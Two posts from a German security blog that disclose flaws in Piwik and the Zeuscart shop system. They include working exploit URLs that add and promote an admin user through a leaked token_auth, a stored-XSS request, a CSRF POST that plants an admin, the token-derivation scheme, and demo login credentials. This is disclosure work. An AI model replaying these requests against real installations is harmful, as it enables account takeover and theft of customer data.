Category Archives: CSRF

Piwik: XSS und etwas CSRF?!

Für einen aktuellen Servercheck habe ich mir auch Piwik (de.piwik.org) angeschaut, eine Webanalyse-Software, ganz ähnlich wie Googles Analytics. Wer Piwik nutzt der hat die Hoheit über die erhobenen Daten, was bei Google nicht der Fall ist, da weiß niemand was die mit den Daten anstellen und wem sie sie geben.

Anlässlich des 27C3 hat jemand Piwik auf seinem Server installiert und zum Hacken zur Verfügung gestellt:

Wer lust hat mit zu suchen ob/wie man das defacen (ob mit oder ohne login) kann ist herzlich willkommen.

http://events.ccc.de/congress/2010/wiki/Hacked

Nach ein paar Tagen fand auch jemand eine XSS-Lücke, die allerdings nur unter bestimmten Voraussetzungen ausgenutzt werden kann:

  • Das SEO-Widget muss aktiviert sein.
  • Der anonymous-Account muss öffentlich zugänglich sein, ansonsten kann nur
  • ein eingeloggter Benutzer angegriffen werden.

Nach der Installation von Piwik ist das SEO-Widget zwar aktiviert, aber der Benutzer “anonymous” ist deaktiviert. D.h. bei der üblichen und weit verbreiteten Konfiguration kann die Lücke nicht ausgenutzt werden.

piwik xss seo widget
(Ein paar Screenshots zur Erklärung.)



Was ich bei meinen Tests in Piwik aber ungleich interessanter fand, ist die CSRF-Lücke die ohne Angriff auf einen Benutzer auskommt, von daher ist es eigentlich gar keine Cross-Site Request Forgery (de.wikipedia.org). CSRF benutzt i.d.R. die Authentifizierung eines angemeldeten Benutzers, der auf einen präparierten Link klicken muss oder eine manipulierte Website ansurft, damit eine Aktion sozusagen in seinem Namen ausgeführt wird.

Schaut man sich die Piwik-Statistik an, ob nun als Anonymous, Administrator oder Superuser, so gibt es in der URL bzw. im HTML-Quellcode den Parameter token_auth. Beim Anonymous ist der Token gleich anonymous, bei den anderen Benutzern ist es ein MD5-Hash. Der Hash wird aus dem Benutzernamen und dem Passwort gebildet.


Benutzername: admin
Passwort: 123456789
token_auth=c561acea86161390fe8bc97a433c20ad

Plain: 123456789
MD5 Hash: 25f9e794323b453885f5181f1b624d0b

Plain: admin25f9e794323b453885f5181f1b624d0b
MD5 Hash: c561acea86161390fe8bc97a433c20ad


In Piwik steht zwar:

Der token_auth is so geheim wie Ihr Login und Password, teilen Sie es niemandem mit!

Aber per Suchmaschine fand ich innerhalb von wenigen Sekunden genau diesen Token.


In der Benutzerverwaltung von Piwik steckt ein Fehler, der dazu genutzt werden kann um einen neuen Benutzer

  • neu zu registrieren,
  • seine Zugriffsrechte zu erhöhen und
  • ihn auch wieder zu löschen

und dies alles ohne das ein registrierter Benutzer involviert ist. Hierzu bedarf es nur einer Information — den Inhalt von token_auth des Superusers.

Neuen Benutzer anlegen
http://localhost:8888/piwik10/piwik/index.php
?module=API
&method=UsersManager.addUser
&userLogin=hacker
&password=123456
&email=email2%40domain.com
&alias=alias
&token_auth=c561acea86161390fe8bc97a433c20ad

Neuem Benutzer den Status ADMINISTRATOR geben
http://localhost:8888/piwik10/piwik/index.php
?module=API
&method=UsersManager.setUserAccess
&userLogin=hacker
&access=admin
&idSites=1
&token_auth=c561acea86161390fe8bc97a433c20ad

Neuen Benutzer löschen
http://localhost:8888/piwik10/piwik/index.php
?module=API
&method=UsersManager.deleteUser
&userLogin=hacker
&token_auth=c561acea86161390fe8bc97a433c20ad

Ich habe dies alles mal in einem Screencast zusammengefasst. Da ich es etwas zu breit aufzeichnen musste, damit man überhaupt etwas sehen kann, habe ich es auf YouTube hochgeladen: (https://www.youtube.com/watch?v=wTEcToFuFOI)

Andere Aktionen des Superusers werden nur ausgeführt wenn der Superuser eingeloggt ist, daher gehe ich davon aus dass dies wirklich ein Bug ist und kein Feature. ;O)

Evtl. gibt es auch die Möglichkeit mit der XSS-Lücke an den token_auth des Superusers zu gelangen, dies habe ich noch nicht geschafft — aber das Jahr ist ja noch jung. :O)

In diesem Sinne
Frohes Neues Jahr (auch den Programmierluschen <g>)


Update: 18:00 Uhr

Ich habe noch eine XSS-Lücke gefunden. Die erste Lücke ist reflexiv, diese ist persistent und wird in den “Zielen” aktiv:

http://localhost:8888/piwik10/piwik/index.php
?idSite=1
&name=%253Chr%253Exss%253Chr%253E
&matchAttribute=url
&patternType=contains
&pattern=xss
&caseSensitive=0
&revenue=0
&idGoal=
&method=Goals.addGoal
&module=API
&token_auth=c561acea86161390fe8bc97a433c20ad

piwik xss seo widget

Diese Lücke ist wieder nur ausnutzbar wenn token_auth bekannt ist. Hierbei muss es aber nicht der Token des Superusers sein — der eines Benutzers mit Rechten eines ADMINISTRATOR reicht aus.

(http://www.youtube.com/watch?v=kAFpDZa53AA)



Update: 02.01.2011 – 10:40 Uhr

Auch wenn ich per Suchmaschine sehr schnell token_auth von Superusern finden konnte, ist die Anzahl der Funde, im Verhältnis zur Verbreitung von Piwik so gering, dass es sich wohl eher um Dummheiten und Missverständnisse auf Seiten der Benutzer handelt, die den API-Code anstatt der Widgets in ihre Websites einfügen.


Update: 04.01.2011 – 15:32 Uhr

Sicherheits-Update für Web-Analyse-Software Piwik” (heise.de)
Auch die beiden XSS-Lücken und die Full Path Disclosure wurden gefixt.





Stück Schrott tarnt sich als Shop

Vorgestern las ich von einem neuen (?) Shopsystem:
E-Commerce System Zeuscart – eine Alternative für Magento?” (t3n.de)

Um die Antwort vorweg zu nehmen: Nein!


Wenn ich eine neue Seite besuche dann kann ich nicht anderes, da muss ich einfach mal irgendwo ein '">xss eingeben… :O)
Zeuscart XSS
Weiteres reflexives Cross-Site Scripting findet sich noch auf den folgenden Seiten: Passwort vergessen, Suche, Registrierung und Login.

Es gibt aber auch die Möglichkeit persistent eigenen Code im Shop zu speichern. Eine Seite die zum Pagemanagement aus dem Backend gehört kann von nicht angemeldeten Besuchern des Shops aufgerufen werden. Auf der Seite können bestehende Einträge editiert, gelöscht und neue hinzugefügt werden.


Seiten aus dem Backend die für jeden Besucher aufrufbar sind, und nicht nur für Shopadmins, gibt es noch weitere:

  • Ausgabe der phpinfo()-Seite.
  • Export aller Produktdaten im Excel-, XML-, CSV- oder TAB-Format.
  • Export aller Kundendaten im Excel-, XML-, CSV- oder TAB-Format.
  • Löschen der Aktivitäten des Admins, die in einer Tabelle gelistet werden.
  • Anzeige der letzten Bestellungen der Kunden, inkl. Name und E-Mail-Adresse.



Nach der Registrierung im Demoshop testete ich auch die Passwort-vergessen-Funktion und wunderte mich gar nicht mehr, dass das von mir vergebene Passwort in der E-Mail stand. Dafür gibt es zwei mögliche Gründe: Entweder wird das Passwort direkt im Klartext in der Datenbank gespeichert oder es wird so kodiert, dass es wieder dekodiert werden kann.

Ich habe mir die Software runtergeladen und kurz in den Quellcode reingeschaut. Die Passworte werden per base64_encode() kodiert und nicht per MD5 oder SHA1 gehasht. Das bedeutet dass alle Passworte die in der Datenbank stehen per base64_decode() dekodiert, also in Klartext umgewandelt werden können.

Hier ein Beispiel für das Kodieren und Dekodieren:
Base64 Kodiert
Base64 Dekodiert
Und hier kann man dies online ausprobieren: “Base64 Kodierer / Base64 Generator” (php-einfach.de)


Und, natürlich fand ich auch noch an vielen Ecken Cross-Site Request Forgery.

Würde dies in eine Seite als unsichtbares Iframe eingebaut und der Shopadmin besucht die Seite während er eingeloggt ist, bekommt er einen weiteren Admin ins System gepflanzt:
http://domain.tld/admin/
?do=subadminmgt&action=insert
[POST]
subadminname=adminb
&subadminpassword=123456
&subadminemail=adminb%40domain.tld
&insert=Add



Noch ein paar Infos für die die sich diese Software anschauen möchten:

Backend: http://ajdemos.com/demo/zeuscart/v3/admin/
User Name: demoadmin
Password: demo123

Frontend: http://ajdemos.com/demo/zeuscart/v3/
User Name: demouser@domainname.com
Password: demouser

Download: http://www.zeuscart.com/download/Zeuscart3.zip


Ich bin sicher dass es noch weitere Schwachstellen gibt, beispielsweise zu SQL-Injection, aber die gefundenen Lücken sind schon vollkommen ausreichend, um die Nutzung abzulehnen. Wer nun noch ernsthaft überlegt dieses Stück Schrott einsetzen zu wollen — dem ist nicht mehr zu helfen.

Vielleicht ist dies auch nur Teil einer Studie, so nach dem Motto: “Wie schrottig darf eine Software sein, bis sie niemand mehr benutzen mag?” ;O)


Eigentlich schreibe ich ja nicht so kritisch über eine Software, aber dieses Teil ist so schlecht und hat so viele Schwachstellen, dass man nicht davon ausgehen kann, dass die Entwickler (immerhin schon Version 3) auf diese noch nie hingewiesen wurden. Eine Google-Recherche nach “Zeuscart” förderte nur Testinstallationen oder bereits gehackte Shops zutage